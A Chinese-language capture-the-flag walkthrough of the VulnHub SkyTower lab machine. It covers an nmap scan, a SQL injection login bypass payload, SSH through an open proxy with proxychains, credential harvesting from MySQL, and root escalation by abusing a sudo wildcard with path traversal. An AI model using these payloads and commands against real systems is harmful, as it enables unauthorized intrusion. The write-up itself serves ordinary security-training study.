项目地址
https://download.vulnhub.com/skytower/SkyTower.zip
项目配置
我们下载一个VirtualBox,这是官网
Downloads – Oracle VirtualBox
安装到默认路径就行
打开后点击注册
选择解压后的vbox文件
然后点击左上角管理
点击导出虚拟电脑,选中后下一步更改路径,然后一直下一步
就得到了一个iso镜像文件
实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
使用nmap进行主机发现,获取靶机ip和端口
nmap 192.168.47.0-254
根据对比可知SkyTower的ip地址为192.168.47.160,开放了22,80,3128端口
访问网站
发现是个登录界面
发现登录框,我们测sql注入
邮箱随便输入一个,密码我们输入
123'|| 1=1 #
爆出了一个默认用户
尝试登录发现登录失败
因为开放22端口,尝试一下ssh登录
连接不上
还有个3128端口,挂上代理尝试一下
vim /etc/proxychains4.conf
然后使用代理连接
proxychains ssh john@192.168.47.162 -t "/bin/sh"
连接成功
提权
sudo -l
发现没有权限
想起刚才login.php存在sql注入
查看一下
发现一个数据库
尝试登录
mysql -u root SkyTech -p
登录成功
四处翻翻
show databases;
use SkyTech;
show tables;
select * from login;
发现了另外一个用户sara
使用这个用户登录看看
proxychains ssh sara@192.168.47.162 -t "/bin/sh"
登录成功
sudo -l
发现/accounts/*有权限
pwd
ls ..
ls ../..
找到accounts在根目录下
我们利用accounts/有权限,查看root下有啥
sudo ls /accounts/../root
查看flag.txt文件
得到了root账户的密码
再次ssh连接root用户
proxychains ssh root@192.168.47.162 -t "/bin/sh"
提权成功